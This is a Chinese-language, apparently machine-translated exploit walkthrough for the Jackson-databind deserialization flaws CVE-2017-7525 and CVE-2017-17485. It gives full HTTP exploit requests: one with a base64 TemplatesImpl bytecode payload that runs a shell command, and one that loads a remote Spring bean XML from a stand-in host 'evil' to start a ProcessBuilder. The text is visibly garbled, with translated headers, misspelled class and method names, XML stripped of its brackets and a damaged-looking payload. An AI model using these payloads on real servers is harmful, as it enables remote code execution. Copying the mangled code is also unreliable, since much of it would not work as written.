Jackson-databind 反序列化漏洞(CVE-2017-7525)
Jackson-Databind支持多态性的挑选功能(默认不启用)。当目标类中有多晶型字段,即JSON字符串转换,即,当字段类型为接口,抽象类或对象类型时,攻击者可以通过在JSON字符串中指定变量(子类或接口实现类)的特定类型来实例化指定类。借助一些特殊类,例如TemplateSimpl,可以实现任意代码执行。因此,此漏洞的利用条件如下:
打开Jacksonpolypolyphicdeserialization,即调用以下任何方法
1
2
ObjectMapper.EnableDefaultTypy(); //默认用于使用defaultTypy.object_and_non_concrete
ObjectMapper.EnableDefaultTypy(ObjectMapper.defaultTypy.non_final);
目标类需要一个构造函数
目标类需要具有字段类型接口,抽象类和对象,并且使用的小工具需要为其子类/实现其接口
CVE-2017-7525
当Jackson-Databind设置目标类成员变量的参数值时,如果没有相应的Getter方法,它将使用SetterlessProperty来调用Getter方法,获取变量,然后设置变量值。当调用getOutputProperties()方法时,将初始化TranslateByTecodes包含字节的类,从而导致命令执行。有关详细信息,请参阅Java-Deserialization-JDK7U21-GADGET-NOTE中的TemplatesImpl上的说明。使用com.sun.org.apache.xalan.internal.xsltc.trax.trax.templatesimpl在JDK7U21中作为小工具,发送以下请求,并将执行touch /tmp/prove1.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /EXPLOIT HTTP /1.1
HOST: Your-IP:8080
Accept-incoding: Gzip,放气
ACCEPT: /
接受语言: en
用户- 代理: Mozilla/5.0(兼容; MSIE 9.0; Windows NT 6.1; Win64; X64; x64; triend/5.0)
连接:关闭
content-type:应用程序/json
内容长度: 1298
{
'param': [
'com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl',
{
'transletbytecodes': [
'yv66vgAAADMAKAoABAAUCQADABUHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2N hbFZhcmmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFSh MamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmp LY3QBAAG8Y2XPBML0PGEAEWPHDMEVBGFUZY9SDW50AW1LBWAZAQAKZ2V0UNVUDGLTZQEAFGPPHDMEVPPHDMEVPPHDMEVBGFUZY9SDW50AW1AW1AW1LOWWAG1LOWWAGWAGWAGWAGWAGWAGWAGWAGWACCGAAABBABV0B3VJACAVDB3VJACDBB3VL3BL3BL MS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h bC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAA BgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAKAAAAvAAEAAQAAAAUqtAACsAAAAAAAIACgAAAAAAYAAQAAAAOACwAAAAAWAAQAAAAAAWAAQAAAAAAAAAAAAAAA Kiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=='
],
'transletname':'a.b',
'outputproperties': {}
}
这是给出的
}


该POC只能在目标JDK7U21或以下的环境中运行,其他情况需要更换小工具。
CVE-2017-17485
CVE-2017-7525黑名单修复程序绕过,使用org.springframework.context.support.filesystemystemsxmlapplicationcontext。利用此漏洞,我们需要创建一个bean文件并将其放在任何服务器上,例如http://evil/spel.xml,内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bean xmlns='http://www.springframework.org/架构/beans'
XMLNS:XSI='http://www.w3.org/2001/XMLSCHEMA-INSANCE'
XSI:SCHEMALATION='
'
bean id='pb'class='java.lang.processbuilder'
构造函数
大批
估值/价值
值/tmp/prove2.txt/value
/大批
/constructor-arg
属性名称='任何'value='#{pb.start()}'//
/豆
/豆子
然后,发送以下数据包使Jackson加载Bean并触发漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /EXPLOIT HTTP /1.1
HOST: Your-IP:8080
Accept-incoding: Gzip,放气
ACCEPT: /
接受语言: en
用户- 代理: Mozilla/5.0(兼容; MSIE 9.0; Windows NT 6.1; Win64; X64; x64; triend/5.0)
连接:关闭
content-type:应用程序/json
内容长度: 138
{
'param': [
'org.springframework.context.support.filesystemxmlapplicationcontext',
'http://ip/evil.xml'
这是给出的
}

成功执行触摸/tmp/prove2.txt:

原理:使用filesystemxmlapplicationContext加载远程BEAN定义文件,创建processBuilder bean,然后在XML文件中使用Spring EL来调用start()方法来实现命令执行